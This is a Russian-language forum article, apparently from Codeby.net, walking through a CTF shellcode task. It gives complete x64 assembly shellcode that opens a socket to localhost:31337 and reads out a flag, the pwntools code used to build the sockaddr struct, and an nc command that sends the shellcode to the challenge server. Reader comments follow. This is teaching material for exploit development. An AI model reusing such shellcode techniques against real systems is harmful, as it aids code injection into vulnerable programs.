Статья [0x03] Изучаем таски по написанию шелл-кодов: local

🖐 Приветствую всех читателей Codeby.net 🖐

Это третья часть цикла статей "Изучаем таски по написанию шелл-кодов". Сегодня мы изучим, как создать сокет и подключиться к нему. А ещё узнаем о том, как важно внимательно читать.
Прошлая часть -> [0x02] Изучаем таски по написанию шелл-кодов: ls_cat


1615469631305.png



Описание таска local

1615463692686.png


Наша задача подключиться к localhost с портом 31337.

Изучим программу local.elf

При декомпиляции в IDA PRO опять ошибка.

1615463766304.png


Seccomp-tools спешит на помощь: seccomp-tools dump ./local.elf

1615463841335.png


Появились новые разрешённые системные вызовы socket и connect.

Системный вызов socket
int socket(int domain, int type, int protocol);

socket() создаёт конечную точку соединения и возвращает файловый дескриптор, указывающий на эту точку.
Параметр domain задает домен соединения: выбирает семейство протоколов, которое будет использоваться для создания соединения. Семейства описаны в <sys/socket.h>.
В случае успешного выполнения возвращается дескриптор, ссылающийся на сокет. В случае ошибки возвращается -1, а значение errno устанавливается соответствующим образом.
Полная справка на русском

Системный вызов connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Системный вызов connect() устанавливает соединение с сокетом, заданным файловый дескриптором sockfd, ссылающимся на адрес addr. Аргумент addrlen определяет размер addr.
Если соединение или привязка прошла успешно, возвращается ноль. При ошибке возвращается -1, а errno устанавливается должным образом.
Полная справка на русском


Напишем шелл-код

Справка по системным вызовам

Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.

int socket(int domain, int type, int protocol);
Для работы с системным вызовом socket, нам нужно передать такие константы: AF_INET ( domain ) и SOCK_STREAM ( type ). В protocol задаётся определённый протокол, используемый с сокетом. Обычно, только единственный протокол существует для поддержи определённого типа сокета с заданным семейством протоколов, в этом случае в protocol можно указать 0.

Константы


НазваниеНазначениеСправочная страница
AF_UNIX, AF_LOCALЛокальное соединениеunix(7)
AF_INETПротоколы Интернет IPv4ip(7)
AF_INET6Протоколы Интернет IPv6ipv6(7)
AF_IPXПротоколы Novell IPX
AF_NETLINKУстройство для взаимодействия с ядромnetlink(7)
AF_X25Протокол ITU-T X.25/ISO-8208x25(7)
AF_AX25Протокол любительского радио AX.25
AF_ATMPVCДоступ к низкоуровневым PVC в ATM
AF_APPLETALKAppleTalkddp(7)
AF_PACKETНизкоуровневый пакетный интерфейсpacket(7)
AF_ALGИнтерфейс к ядерному крипто-API

SOCK_STREAM - Обеспечивает создание двусторонних, надёжных потоков байтов на основе установления соединения. Может также поддерживаться механизм внепоточных данных.

Перед написанием кода, мы установим фреймворк pwntools для языка программирования Python.
Документация pwntools

Установка
Bash:
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools


Чтобы определить системные константы (AF_INET и SOCK_STREAM), мы используем constgrep.

Bash:
constgrep AF_INET

# Вывод
#define AF_INET  2
#define AF_INET6 10

constgrep SOCK_STREAM

# Вывод
#define SOCK_STREAM 1


int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Теперь решим вопрос с системным вызовом connect. Вторым аргументом он принимает структуру sockaddr. Время научиться передавать структуры в шелл-код. Описание структуры sockaddr было взято с сайта MSDN. Google нам в помощь.

Код на Python:
Python:
from pwn import * # Импортируем все функции из библиотеки pwn (pwntools)

'''
struct sockaddr_in {
    u_short     sin_family;
    u_short     sin_port;
    struct      in_addr sin_addr;
    char        sin_zero[8];
};
'''

struct = p16(2) # Упаковываем (pack - p) число 2 в переменную struct
struct += p16(31337, endianness='big') # Упаковываем (pack - p) порт 31337 в переменную struct в порядке big endian
struct += p8(127) + p8(0) + p8(0) + p8(1) # Упаковываем адрес 127.0.0.1 в переменную struct

print(len(struct)) # Печатаем длину переменной struct
print(u64(struct)) # Распаковываем переменную struct в виде числа для регистра в архитектуры x64
print(hex(u64(struct))) # Печатаем переменную struct в виде числа в 16ой системе счисления (hex)

Вывод:
Bash:
8 # длина
72058141268377602 # нужное значение в десятичной системе счисления. Это значение нам нужно.
0x100007f697a0002 # нужное значение в шестнадцатеричной системе счисления

p обозначает упаковать ( pack ). Обычно упаковывают набор ascii символов в строки.
u обозначает распаковать ( unpcack ). Обычно распаковывают строки в набор ascii символов.
Цифры ( 8, 16, 32, 64 ) обозначают необходимое количество бит для функции.

В одном ascii символе 8 бит. Если вам нужно распаковать одну букву, то используйте u8(). Для 2 букв нужна функция u16(), для 4 - u32(), а для 8 - u64().

1 байт = 8 бит
2 байта = 16 битам
4 байта = 32 бита
8 байт = 64 битам

Изучим работу функций pack и unpack
Python:
from pwn import * # Импортируем все функции из библиотеки pwn (pwntools)

print(u8('A'))
# 65
print(u16('AA'))
# 16705
print(u32('AAAA'))
# 1094795585
print(u64('AAAAAAAA'))
# 4702111234474983745
print(p8(0x41))
# b'A'
print(p16(0x4141))
# b'AA'
print(p32(0x41414141))
# b'AAAA'
print(p64(0x4141414141414141))
# b'AAAAAAAA'

Пишем полный шелл-код для таска:
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64

; int socket(int domain, int type, int protocol);
;           arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)


push 0x29 ; Кладём на стек номер системного вызова socket
pop rax ;  Забираем из стека номер системного вызова socket в регистр rax
push 0x2 ; Кладём на стек номер константы AF_INET (2)
pop rdi ; Забираем со стека номер константы AF_INET (2)
push 0x1 ; Кладём на стек номер константы SOCK_STREAM (1)
pop rsi ; Забираем со стека номер константы SOCK_STRAM (1)
xor edx, edx ; Обнуляем регистр rdx
syscall ; Системный вызов socket

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;                   arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
mov rsi, 72058141268377602 ; Перемещаем структуру, сгенерированную в python, в регистр rsi
push rsi ; Кладём на стек структуру, сгенерированную в python
mov rsi, rsp; Перемещаем адрес структуры из стека в регистр rsi

push 0x10 ; Кладём на стек размер структуры для системного вызова connect
pop rdx ; Забираем со стека размер структуры для системного вызова connect в регистр rdx

push 0x2a ; Кладём номер системного вызова connect на вершину стека
pop rax ; Забираем с вершины стека номер системного вызова connect
syscall ; Системный вызов connect

; ssize_t read(int fd, void *buf, size_t count);
;           arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

xor eax, eax ; Обнуляем регистр rax. Это будет номер системного вызова read.
push 0x60 ; Кладём на стек размер выделенного нами места под флаг
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read

; ssize_t write(int fd, const void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write

Сохраняем код в shell_local.asm
Компилируем в бинарный файл: nasm shell_local.asm -o shell_local
Испытываем программу на сервере: cat shell_local | nc 109.233.56.90 11666
Вывод: Shellcode: spbctf{c0c2600bbd44ad76843c3624b375710b}VH��jZj*X1�j`ZjXj_
Флаг - spbctf{c0c2600bbd44ad76843c3624b375710b}


Проверка флага

1615467655984.png



Будьте внимательны!

Если в шелл-коде вместо инструкций передающие указатель на структуру написать инструкции передающие саму структуру, то он работать не будет.
В системном вызове connect ( int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ) второй аргумент должен быть указатель ( const struct sockaddr *addr ) на адрес структуры, а не сама структура.

C-подобный:
; Было
; mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
; mov rsi, 72058141268377602 ; Перемещаем структуру, сгенерированную в python, в регистр rsi
; push rsi ; Кладём на стек структуру, сгенерированную в python
; mov rsi, rsp; Перемещаем адрес структуры из стека в регистр rsi

; Стало
mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
mov rsi, 72058141268377602 ;

В регистре rsi лежит структура ( шелл-код не будет работать )

1615465548704.png



В регистре rsi лежит указатель на структуру ( шелл-код будет работать )

1615465631349.png


Внимательно изучайте man-страницы или документации!

Спасибо за внимание :)
 
Последнее редактирование:
Мёген, с каждой новой статьёй всё более интересно 👍
Любая узконаправленная тема всегда найдёт своего читателя.
 
  • Нравится
Реакции: ROP
Дайте мне Вини пуха два штука его напою медовухой по говорим отом осём))статья бомба)
 
  • Нравится
Реакции: ROP
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab